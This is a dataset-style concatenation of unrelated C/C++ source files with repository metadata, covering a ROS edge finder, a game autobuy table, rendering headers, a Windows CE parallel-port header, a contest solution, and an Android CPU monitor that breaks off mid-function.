lines.push_back(jsk_recognition_utils::Line::fromCoefficients(the_coefficients)); } std::map<int, std::vector<int> > parallel_map; for (size_t i = 0; i < lines.size() - 1; i++) { parallel_map[i] = std::vector<int>(); jsk_recognition_utils::Line::Ptr the_line = lines[i]; for (size_t j = i + 1; j < lines.size(); j++) { jsk_recognition_utils::Line::Ptr candidate_line = lines[j]; if (the_line->isParallel(*candidate_line, angle_threshold_)) { parallel_map[i].push_back(j); } } } // build 'Group' recursively // list of set of the indices of parallel edges std::vector<std::set<int> > parallel_groups_list; // set of the indices which are already regarded as one of // parallel edges std::set<int> listed_indices; for (size_t i = 0; i < lines.size() - 1; i++) { std::vector<int> parallel_indices = parallel_map[i]; if (listed_indices.find(i) == listed_indices.end()) { if (parallel_indices.size() == 0) { // nothing to do } else { std::set<int> new_parallel_set; jsk_recognition_utils::buildGroupFromGraphMap(parallel_map, i, parallel_indices, new_parallel_set); parallel_groups_list.push_back(new_parallel_set); jsk_recognition_utils::addSet(listed_indices, new_parallel_set); } } } // publish the result publishResult(parallel_groups_list, input_indices, input_coefficients); publishResultAsCluser(parallel_groups_list, input_indices, input_coefficients); } void ParallelEdgeFinder::publishResult( const std::vector<std::set<int> >& parallel_groups_list, const jsk_recognition_msgs::ClusterPointIndices::ConstPtr& input_indices, const jsk_recognition_msgs::ModelCoefficientsArray::ConstPtr& input_coefficients) { jsk_recognition_msgs::ParallelEdgeArray ros_output_msg; ros_output_msg.header = input_indices->header; for (size_t i = 0; i < parallel_groups_list.size(); i++) { std::set<int> parallel_groups = parallel_groups_list[i]; jsk_recognition_msgs::ParallelEdge edge_group; edge_group.header = input_indices->header; for (std::set<int>::iterator it = parallel_groups.begin(); it != parallel_groups.end(); ++it) { int the_index = *it; std::vector<int> indices = input_indices->cluster_indices[the_index].indices; std::vector<float> coefficients = input_coefficients->coefficients[the_index].values; PCLIndicesMsg indices_msg; indices_msg.header = input_indices->header; indices_msg.indices = indices; PCLModelCoefficientMsg coefficients_msg; coefficients_msg.header = input_coefficients->header; coefficients_msg.values = coefficients; edge_group.cluster_indices.push_back(indices_msg); edge_group.coefficients.push_back(coefficients_msg); } ros_output_msg.edge_groups.push_back(edge_group); } pub_.publish(ros_output_msg); } void ParallelEdgeFinder::publishResultAsCluser( const std::vector<std::set<int> >& parallel_groups_list, const jsk_recognition_msgs::ClusterPointIndices::ConstPtr& input_indices, const jsk_recognition_msgs::ModelCoefficientsArray::ConstPtr& input_coefficients) { jsk_recognition_msgs::ClusterPointIndices ros_output_msg; ros_output_msg.header = input_indices->header; for (size_t i = 0; i < parallel_groups_list.size(); i++) { std::set<int> parallel_groups = parallel_groups_list[i]; PCLIndicesMsg indices_msg; indices_msg.header = input_indices->header; for (std::set<int>::iterator it = parallel_groups.begin(); it != parallel_groups.end(); ++it) { indices_msg.indices = jsk_recognition_utils::addIndices( indices_msg.indices, input_indices->cluster_indices[*it].indices); } ros_output_msg.cluster_indices.push_back(indices_msg); } pub_clusters_.publish(ros_output_msg); } } #include <pluginlib/class_list_macros.h> PLUGINLIB_EXPORT_CLASS (jsk_pcl_ros::ParallelEdgeFinder, nodelet::Nodelet);
7599b6c3ebc2dd87a227b0bad06d75b78ae58da0
01bcef56ade123623725ca78d233ac8653a91ece
/game/server/cstrike15/cs_autobuy.cpp
511ac4e929d4f5ced2f9da9091a421885ce3057b
[ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ]
permissive
SwagSoftware/Kisak-Strike
1085ba3c6003e622dac5ebc0c9424cb16ef58467
4c2fdc31432b4f5b911546c8c0d499a9cff68a85
refs/heads/master
2023-09-01T02:06:59.187775
2022-09-05T00:51:46
2022-09-05T00:51:46
266,676,410
921
123
null
2022-10-01T16:26:41
2020-05-25T03:41:35
C++
WINDOWS-1252
C++
false
false
7,493
cpp
cs_autobuy.cpp
//========= Copyright © 1996-2005, Valve Corporation, All rights reserved. ============// // // Purpose: Data for Autobuy and Rebuy // //=============================================================================// #include "cbase.h" #include "cs_autobuy.h" // Weapon class information for each weapon including the class name and the buy command alias. AutoBuyInfoStruct g_autoBuyInfo[] = { { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE0, "galil", "weapon_galil" }, // galil { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE0, "galilar", "weapon_galilar" }, // galilar { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE1, "ak47", "weapon_ak47" }, // ak47 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_INVALID, "scout", "weapon_scout" }, // scout { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_INVALID, "sg552", "weapon_sg552" }, // sg552 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_RIFLE4, "awp", "weapon_awp" }, // awp { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_RIFLE5, "g3sg1", "weapon_g3sg1" }, // g3sg1 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE0, "famas", "weapon_famas" }, // famas { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE1, "m4a1", "weapon_m4a1" }, // m4a1 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE1, "m4a1_silencer", "weapon_m4a1_silencer" }, // m4a1_silencer { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE3, "aug", "weapon_aug" }, // aug { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_INVALID, "scar17", "weapon_scar17" }, // scar17 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_RIFLE), LOADOUT_POSITION_RIFLE3, "sg556", "weapon_sg556" }, // sg556 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_INVALID, "sg550", "weapon_sg550" }, // sg550 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_RIFLE5, "scar20", "weapon_scar20" }, // scar20 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SNIPERRIFLE), LOADOUT_POSITION_RIFLE2, "ssg08", "weapon_ssg08" }, // ssg08 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY0, "glock", "weapon_glock" }, // glock { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_INVALID, "usp", "weapon_usp" }, // usp { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_INVALID, "p228", "weapon_p228" }, // p228 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY4, "deagle", "weapon_deagle" }, // deagle { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY1, "elite", "weapon_elite" }, // elites { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY3, "fn57", "weapon_fiveseven" }, // fn57 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY0, "hkp2000", "weapon_hkp2000" }, // hkp2000 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY0, "usp_silencer", "weapon_usp_silencer" }, // usp_silencer { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY2, "p250", "weapon_p250" }, // p250 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_SECONDARY3, "tec9", "weapon_tec9" }, // p250 { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_PISTOL), LOADOUT_POSITION_INVALID, "taser", "weapon_taser" }, // taser { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SHOTGUN), LOADOUT_POSITION_HEAVY0, "nova", "weapon_nova" }, // nova { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SHOTGUN), LOADOUT_POSITION_HEAVY1, "xm1014", "weapon_xm1014" }, // xm1014 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SHOTGUN), LOADOUT_POSITION_HEAVY2, "mag7", "weapon_mag7" }, // mag7 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SHOTGUN), LOADOUT_POSITION_INVALID, "stryker", "weapon_stryker" }, // stryker { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG0, "mac10", "weapon_mac10" }, // mac10 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_INVALID, "tmp", "weapon_tmp" }, // tmp { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_INVALID, "mp5navy", "weapon_mp5navy" }, // mp5navy { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG2, "ump45", "weapon_ump45" }, // ump45 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG3, "p90", "weapon_p90" }, // p90 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG4, "bizon", "weapon_bizon" }, // bizon { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG1, "mp7", "weapon_mp7" }, // mp7 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SMG), LOADOUT_POSITION_SMG0, "mp9", "weapon_mp9" }, // mp9 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_MACHINEGUN), LOADOUT_POSITION_HEAVY3, "m249", "weapon_m249" }, // m249 { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_MACHINEGUN), LOADOUT_POSITION_HEAVY4, "negev", "weapon_negev" }, // negev { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_AMMO), LOADOUT_POSITION_INVALID, "primammo", "primammo" }, // primammo { (AutoBuyClassType)(AUTOBUYCLASS_SECONDARY | AUTOBUYCLASS_AMMO), LOADOUT_POSITION_INVALID, "secammo", "secammo" }, // secmmo { (AutoBuyClassType)(AUTOBUYCLASS_ARMOR), LOADOUT_POSITION_INVALID, "vest", "item_kevlar" }, // vest { (AutoBuyClassType)(AUTOBUYCLASS_ARMOR), LOADOUT_POSITION_INVALID, "vesthelm", "item_assaultsuit" }, // vesthelm { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE2, "flashbang", "weapon_flashbang" }, // flash { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE3, "hegrenade", "weapon_hegrenade" }, // hegren { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE4, "smokegrenade", "weapon_smokegrenade" }, // sgren { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE0, "molotov", "weapon_molotov" }, // molotov { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE0, "incgrenade", "weapon_incgrenade" }, // incgrenade { (AutoBuyClassType)(AUTOBUYCLASS_GRENADE), LOADOUT_POSITION_GRENADE1, "decoy", "weapon_decoy" }, // molotov { (AutoBuyClassType)(AUTOBUYCLASS_NIGHTVISION), LOADOUT_POSITION_INVALID, "nvgs", "nvgs" }, // nvgs { (AutoBuyClassType)(AUTOBUYCLASS_DEFUSER), LOADOUT_POSITION_INVALID, "defuser", "defuser" }, // defuser { (AutoBuyClassType)(AUTOBUYCLASS_PRIMARY | AUTOBUYCLASS_SHIELD), LOADOUT_POSITION_INVALID, "shield", "shield" }, // shield { (AutoBuyClassType)0, LOADOUT_POSITION_INVALID, "", "" } // last one, must be at end. };
aef8dc1387404d5bc1795b8e79bc1869d5d5059a
f9e55f7fc2db89721e442856ba115b18d812a9e8
/src/Scene/Camera/LookCamera.h
aa6b10cf0122443bd68208d791b135f091f3d1f0
[ "MIT" ]
permissive
Jannled/J3ngine
09932bea41bd6e3671c0d8bba2580118aff01a86
b0a0484aa42baedc057082718e54b61b52ea1fb8
refs/heads/master
2021-07-14T12:50:04.940535
2020-07-12T17:21:38
2020-07-12T17:21:38
231,934,965
0
0
null
null
null
null
UTF-8
C++
false
false
349
h
LookCamera.h
#ifndef LOOK_CAMERA_H #define LOOK_CAMERA_H #include "Camera.h" class LookCamera : public Camera { public: LookCamera(int width, int height); LookCamera(GLWindow::Point res); virtual ~LookCamera(); virtual glm::mat4 viewProjection(); virtual glm::mat4 view(); private: glm::vec3 up; glm::vec3 fokus; }; #endif // LOOK_CAMERA_H
598d80b921d536dc5cd1c80154a0fd75401c577a
9ab1f5250abdcbd74134a11c35c0b14661d74b87
/11 (Strings and Structures)/Untitled3.cpp
e08175d4cb2775b9d0a6db6eda1a50011125eb24
[]
no_license
AhsanGhaffar370/C-plu-plus
e407591ae013dcf8186afcd28575c5893b1b64c1
73fc77b562664ef58a59e4c2cc08c6ffac40e40e
refs/heads/master
2022-08-20T18:19:06.046582
2019-11-16T12:35:23
2019-11-16T12:35:23
null
0
0
null
null
null
null
UTF-8
C++
false
false
364
cpp
Untitled3.cpp
#include<iostream> #include<fstream> #include<string> using namespace std; int main() { char ch='s'; int a=33; double d=2.32; string str1="hello",str2="c++"; ofstream outfile("myfile.txt"); outfile<<ch<<a<<d<<str1<<str2; ifstream intfile("myfile.txt"); intfile>>ch>>a>>d>>str1>>str2; cout<<ch<<a<<d<<str1<<str2; cout<<"end"<<endl; return 0; }
bbcb610b51b9b6d3d68bdaf2648c5ba058d5d07d
3df19976f5b2ab687d74e00de2b2c5a7f4bca69d
/nclgl/SceneNode.h
bfd36b446ddf12d1acab2898bfacd44155d2ec64
[]
no_license
ltarne/NCLGL-Coursework
f9b5196f246c29058959f3626dce8626d7a53c7f
d705f68fbba8ab8af6a3544587a70b2bcf95a750
refs/heads/master
2021-11-23T19:13:44.997386
2018-02-06T22:26:37
2018-02-06T22:26:37
110,580,788
0
0
null
null
null
null
UTF-8
C++
false
false
2,882
h
SceneNode.h
#pragma once #include "Mesh.h" #include "CubeMapTexture.h" class SceneNode { public: SceneNode(Shader* shader = nullptr, Mesh* mesh = nullptr, Vector4 colour = Vector4(1,1,1,1)); virtual ~SceneNode(); inline void SetTransform(const Matrix4 &transform) { this->transform = transform; } inline const Matrix4& GetTransform() const { return transform; } inline Matrix4 GetWorldTransform() const { return worldTransform; } inline void SetScale(Matrix4 scale) { this->scale = scale; } inline void SetScale(Vector3 scale) { this->scale = Matrix4::Scale(scale); } inline Matrix4 GetScale() const { return scale; } inline void SetRotation(Matrix4 rotation) { this->rotation = rotation; } inline Matrix4 GetRotation() const { return rotation; } inline void SetColour(Vector4 colour) { this->colour = colour; } inline Vector4 GetColour() const { return colour; } inline void SetMesh(Mesh* mesh) { this->mesh = mesh; } inline Mesh* GetMesh() const { return mesh; } inline void SetShader(Shader* shader) { this->shader = shader; } inline Shader* GetShader() const { return shader; } inline virtual void AddTexture(Texture* texture) { this->textures.push_back(texture); } inline vector<Texture*>* GetTextures() { return &textures; } inline void SetVisible(bool visible) { this->visible = visible; } inline bool GetVisible() const { return visible; } inline void SetDepthTest(bool depthTest) { this->depthTest = depthTest; } inline bool GetDepthTest() const { return depthTest; } inline void SetFaceCulling(bool faceCulling) { this->faceCulling = faceCulling; } inline bool GetFaceCulling() { return faceCulling; } inline float GetBoundingRadius() const { return boundingRadius; } inline void SetBoundingRadius(float boundingRadius) { this->boundingRadius = boundingRadius; } inline float GetCameraDistance() const { return distanceFromCamera; } inline void SetCameraDistance(float distance) { this->distanceFromCamera = distance; } static bool CompareByCameraDistance(SceneNode* a, SceneNode* b) { return (a->distanceFromCamera < b->distanceFromCamera) ? true : false; } virtual void LoadUniforms(Shader* shader); void AddChild(SceneNode* child); virtual void Update(float msec); virtual void Draw(const OGLRenderer &renderer, Shader* overrideShader = nullptr); inline std::vector<SceneNode*>::const_iterator GetChildIteratorStart() { return children.begin(); } inline std::vector<SceneNode*>::const_iterator GetChildIteratorEnd() { return children.end(); } protected: SceneNode* parent; std::vector<SceneNode*> children; Matrix4 worldTransform; Matrix4 transform; Matrix4 rotation; Matrix4 scale; Shader* shader; Mesh* mesh; vector<Texture*> textures; Vector4 colour; float distanceFromCamera; float boundingRadius; float time; bool visible; bool depthTest; bool faceCulling; };
705c46ff121225367569f00e50bff81f9c34a68a
3b04925b4271fe921020cff037b86e4a5a2ae649
/windows_embedded_ce_6_r3_170331/WINCE600/PRIVATE/TEST/BASEOS/DRIVERS/PARALLEL/API/PARTEST/parport.h
cd82d436e56ef0345826ae18cb22eaef3914b420
[]
no_license
fanzcsoft/windows_embedded_ce_6_r3_170331
e3a4d11bf2356630a937cbc2b7b4e25d2717000e
eccf906d61a36431d3a37fb146a5d04c5f4057a2
refs/heads/master
2022-12-27T17:14:39.430205
2020-09-28T20:09:22
2020-09-28T20:09:22
null
0
0
null
null
null
null
UTF-8
C++
false
false
4,075
h
parport.h
// // Copyright (c) Microsoft Corporation. All rights reserved. // // // Use of this source code is subject to the terms of the Microsoft shared // source or premium shared source license agreement under which you licensed // this source code. If you did not accept the terms of the license agreement, // you are not authorized to use this source code. For the terms of the license, // please see the license agreement between you and Microsoft or, if applicable, // see the SOURCE.RTF on your install media or the root of your tools installation. // THE SOURCE CODE IS PROVIDED "AS IS", WITH NO WARRANTIES. // #ifndef __PARPORT_H__ #define __PARPORT_H__ #include "main.h" #include "globals.h" #include "util.h" #include <windows.h> #ifdef UNDER_CE #include <pegdpar.h> // parallel port driver definitions #endif /****************************************************************************** the parallel port register structure: 7 6 5 4 3 2 1 0 I/O PORT ------------------------------------------------ DATA x x x x x x x x BASE STAT ~x x x x x x - - BASE + 1 CTRL - - - - ~x x ~x ~x BASE + 2 DATA Register: BIT Value Pin Inverted 7 +Data Bit 0 2 NO 6 +Data Bit 1 3 NO 5 +Data Bit 2 4 NO 4 +Data Bit 3 5 NO 3 +Data Bit 4 6 NO 2 +Data Bit 5 7 NO 1 +Data Bit 6 8 NO 0 +Data Bit 7 9 NO STATUS Register: BIT Value Pin Inverted 7 +Busy 11 YES 6 -Ack 10 NO 5 +Paper Out 12 NO 4 +Select In 13 NO 3 -Error 15 NO 2 x x x 1 x x x 0 x x x COMMAND Register: BIT Value Pin Inverted 7 x x x 6 x x x 5 x x x 4 x x x 3 -Select 17 YES 2 -Initialize 16 NO 1 -Auto Feed 14 YES 0 -Strobe 1 YES ************************************************************************** the parallel port lap-link connection: Signal Pin Pin Signal ------------------------------------------ bit 0 2 <----> 15 Error bit 1 3 <----> 13 Selected bit 2 4 <----> 12 Paper out bit 3 5 <----> 10 Ack bit 4 6 <----> 11 Busy Error 15 <----> 2 bit 0 Selected 13 <----> 3 bit 1 Paper out 12 <----> 4 bit 2 Ack 10 <----> 5 bit 3 Busy 11 <----> 6 bit 4 Ground 25 <----> 25 Ground *************************************************************************/ // // lap-link specific data packets -- send to control // the status bits of the connected PC // probably don't need these // #define PACKET_ERR 0x01 // 0000 0001 #define PACKET_SEL 0x02 // 0000 0010 #define PACKET_PPO 0x04 // 0000 0100 #define PACKET_ACK 0x08 // 0000 1000 #define PACKET_BSY 0x10 // 0001 0000 class PARPORT { public: PARPORT(); ~PARPORT(); BOOL Open( void ); BOOL Open( LPTSTR ); BOOL Close( void ); BOOL GetTimeouts( LPCOMMTIMEOUTS, BOOL fUseWinAPI = FALSE ); BOOL SetTimeouts( LPCOMMTIMEOUTS, BOOL fUseWinAPI = FALSE ); BOOL GetDeviceID( LPBYTE, DWORD, LPDWORD ); BOOL GetStatus( LPDWORD ); BOOL GetECPChannelx( LPDWORD, DWORD ); BOOL Write( LPBYTE, DWORD, LPDWORD, BOOL fUseWinAPI = FALSE ); BOOL Read( LPBYTE, DWORD, LPDWORD ); HANDLE GetHandle( void ); protected: HANDLE m_hParallel; }; #define LPPARPORT PARPORT* #endif
8a099a02336ddfcbb943de094e52e76295ed7d3e
63ef21cdb213235aca1b3f5bc3ac5a1f400baa18
/10242 - Fourth Point !!.cpp
edb67a8893d03c48ea0e214e7be979b7510ffc49
[]
no_license
maisamer/problem_solving
66eedbd107906552a0cf457419cf9d77ccbbc26a
7c2a642985c677ec4852b5bf110db3a4f94c1776
refs/heads/master
2021-09-27T08:19:46.785096
2018-08-06T01:03:52
2018-08-06T01:03:52
113,021,478
1
0
null
null
null
null
UTF-8
C++
false
false
894
cpp
10242 - Fourth Point !!.cpp
//uri : https://uva.onlinejudge.org/index.php?option=onlinejudge&page=show_problem&problem=1183 #include<bits/stdc++.h> using namespace std; double x[4],y[4]; int main() { set<pair<double,double> >s; set<pair<double,double> >::iterator it; while(cin>>x[0]>>y[0]>>x[1]>>y[1]>>x[2]>>y[2]>>x[3]>>y[3]){ s.clear(); double rx,ry; pair<double,double>p1,p2; for(int i=0;i<4;i++){ if(s.find(make_pair(x[i],y[i]))!=s.end()){ rx=x[i],ry=y[i]; s.erase({x[i],y[i]}); }else{ s.insert({x[i],y[i]}); } } it=s.begin(); p1.first=it->first,p1.second=it->second; it++; p2.first=it->first,p2.second=it->second; cout<<fixed<<setprecision(3)<<p1.first+p2.first-rx<<" "<<setprecision(3)<<p1.second+p2.second-ry<<endl; } return 0; }
e952e52392d3806991f58b0e2f40ad097b564aea
d8dbc1d3168b6c71b860d7fde1584707618dabbf
/src/Observation.cc
e390bd9abdc00d95988966b4afd1caeba42aaf89
[]
no_license
chinchiquderolean/C-_EngineCode
9857b4a9982f33841b8a8b6d9006ff70993eb440
042e5dc3e780fa67cb7475629c37849061996b7d
refs/heads/master
2021-04-12T10:26:05.231374
2017-08-12T10:29:39
2017-08-12T10:29:39
null
0
0
null
null
null
null
UTF-8
C++
false
false
750
cc
Observation.cc
#include "Observation.hh" #include "EventObj.hh" #include "umlrtobjectclass.hh" #include "umlrtoutsignal.hh" struct UMLRTCommsPort; static UMLRTObject_field fields_event[] = { { "data", &UMLRTType_EventObj, 0, 1, 0 } }; static UMLRTObject payload_event = { sizeof( EventObj ), 1, fields_event }; Observation::Base::Base( const UMLRTCommsPort * & srcPort ) : UMLRTProtocol( srcPort ) { } UMLRTOutSignal Observation::Base::event( const EventObj & data ) const { UMLRTOutSignal signal; signal.initialize( "event", signal_event, srcPort, &payload_event, &data ); return signal; } Observation::Conj::Conj( const UMLRTCommsPort * & srcPort ) : UMLRTProtocol( srcPort ) { }
e9fbdac12da68673fb2d0326474707824ff6058f
b9eaf61102c47e5a695f94554f450ca86d85c6af
/OSMonitor/app/src/main/jni/src/core/cpu.cc
4cc1d81d1870a3f229d9eef9bf23b9bcff4d70ae
[ "Apache-2.0" ]
permissive
johnnatan-messias/OSMonitor
c6004647b93f1cb518cff376e0124074c8790046
352dcbd0fcbe5808c4a55714e6f0064fb8b430be
refs/heads/master
2021-01-11T17:40:27.220803
2017-01-23T15:55:05
2017-01-23T15:55:05
79,819,462
2
0
null
null
null
null
UTF-8
C++
false
false
8,837
cc
cpu.cc
/** * @file cpu.cc * @brief CPU Class file */ #include "cpu.h" #include <android/log.h> namespace com { namespace eolwral { namespace osmonitor { namespace core { cpu::cpu() { // get total CPUs this->_totalCPUCount = sysconf(_SC_NPROCESSORS_CONF); // set to zero at beginning this->_totalCPUUtilization = 0; this->_totalCPUTime = 0; this->_totalCPUIdleTime = 0; this->_prevCPUIdleTime = 0; this->_prevCPUTime = 0; // init CPU Information this->_curFlatBuffer = NULL; this->_prevFlatBuffer = NULL; } cpu::~cpu() { // clean up _lastCPUStatus if (this->_prevFlatBuffer != NULL) delete this->_prevFlatBuffer; // clean up _currentCPUStatus if (this->_curFlatBuffer != NULL) delete this->_curFlatBuffer; } bool cpu::fillCPUInfo(cpuInfoBuilder& cpuInfo, int cpuNum) { // check CPU number if(this->_totalCPUCount == 0 || this->_totalCPUCount < cpuNum) return (false); // prepare scanf pattern char pattern[PATTERNSIZE]; memset(pattern, 0, PATTERNSIZE); snprintf(pattern, PATTERNSIZE, CPU_SIGNLE_PATTERN, cpuNum); // open /proc/stat FILE *statFile = fopen(SYS_PROC_FILE, "r"); if(!statFile) return (false); // extract information bool result = false; unsigned long usertime = 0; unsigned long nicetime = 0; unsigned long systemtime = 0; unsigned long idletime = 0; unsigned long iowaittime = 0; unsigned long irqtime = 0; unsigned long softirqtime = 0; // read data from file char buffer[PATTERNSIZE]; memset(buffer, 0, PATTERNSIZE); while(fgets(buffer, PATTERNSIZE, statFile)) { int flag = sscanf( buffer, pattern , &usertime, &nicetime, &systemtime, &idletime, &iowaittime, &irqtime, &softirqtime); // found match record if(flag == 7) { result = true; break; } } // close file fclose(statFile); // processing if data is ready if (result == true) { // fill value cpuInfo.add_cpuNumber(cpuNum); cpuInfo.add_userTime(usertime); cpuInfo.add_niceTime(nicetime); cpuInfo.add_systemTime(systemtime); cpuInfo.add_idleTime(idletime); cpuInfo.add_ioWaitTime(iowaittime); cpuInfo.add_irqTime(idletime); cpuInfo.add_softIrqTime(softirqtime); cpuInfo.add_offLine(false); // calculate CPU utilize unsigned long cpuTime = usertime + nicetime + systemtime + idletime + iowaittime + irqtime + softirqtime; this->calcuateCPUUtil(cpuInfo, cpuNum, cpuTime, idletime, iowaittime); } return result; } void cpu::gatherCPUsInfo() { // gather information for all CPUs for(int cpuNum = 0; cpuNum < this->_totalCPUCount; cpuNum++) { cpuInfoBuilder cpuInfo(*this->_curFlatBuffer); if(this->fillCPUInfo(cpuInfo, cpuNum) == false) this->fillEmptyCPUInfo(cpuInfo, cpuNum); this->_list.push_back(cpuInfo.Finish()); } } void cpu::fillEmptyCPUInfo(cpuInfoBuilder& emptyCPUInfo, int cpuNum) { if (this->_prevFlatBuffer == NULL) { // give default value emptyCPUInfo.add_cpuNumber(cpuNum); emptyCPUInfo.add_offLine(true); emptyCPUInfo.add_userTime(0); emptyCPUInfo.add_niceTime(0); emptyCPUInfo.add_systemTime(0); emptyCPUInfo.add_idleTime(0); emptyCPUInfo.add_ioWaitTime(0); emptyCPUInfo.add_irqTime(0); emptyCPUInfo.add_softIrqTime(0); emptyCPUInfo.add_cpuUtilization(0); emptyCPUInfo.add_cpuTime(0); } else { const cpuInfoList *prevCPUList = GetcpuInfoList(this->_prevFlatBuffer->GetBufferPointer()); for (int iterPrev = 0; iterPrev < prevCPUList->list()->size(); iterPrev++) { const cpuInfo *prevCPUInfo = prevCPUList->list()->Get(iterPrev); if (prevCPUInfo->cpuNumber() != cpuNum) continue; emptyCPUInfo.add_offLine(true); emptyCPUInfo.add_userTime(prevCPUInfo->userTime()); emptyCPUInfo.add_niceTime(prevCPUInfo->niceTime()); emptyCPUInfo.add_systemTime(prevCPUInfo->systemTime()); emptyCPUInfo.add_idleTime(prevCPUInfo->idleTime()); emptyCPUInfo.add_ioWaitTime(prevCPUInfo->ioWaitTime()); emptyCPUInfo.add_irqTime(prevCPUInfo->irqTime()); emptyCPUInfo.add_softIrqTime(prevCPUInfo->softIrqTime()); break; } } // set rest of values emptyCPUInfo.add_cpuTime(0); emptyCPUInfo.add_ioUtilization(0); emptyCPUInfo.add_cpuUtilization(0); } void cpu::calcuateCPUUtil(cpuInfoBuilder& curCPUInfo, int cpuNum, unsigned long cpuTime, unsigned long idleTime, unsigned long ioWaitTime) { if (this->_prevFlatBuffer == NULL) return; const cpuInfoList *prevCPUList = GetcpuInfoList(this->_prevFlatBuffer->GetBufferPointer()); for (int iterPrev = 0; iterPrev < prevCPUList->list()->size(); iterPrev++) { const cpuInfo *prevCPUInfo = prevCPUList->list()->Get(iterPrev); if (prevCPUInfo->cpuNumber() != cpuNum) continue; unsigned long prevCPUTime = prevCPUInfo->cpuTime() + prevCPUInfo->niceTime() + prevCPUInfo->systemTime() + prevCPUInfo->idleTime() + prevCPUInfo->ioWaitTime() + prevCPUInfo->irqTime() + prevCPUInfo->softIrqTime() ; unsigned long totalDeltaTime = cpuTime - prevCPUTime; unsigned long totalIdleTime = idleTime - prevCPUInfo->idleTime(); unsigned long totalIoWaitTime = ioWaitTime - prevCPUInfo->ioWaitTime(); curCPUInfo.add_cpuTime(totalDeltaTime); 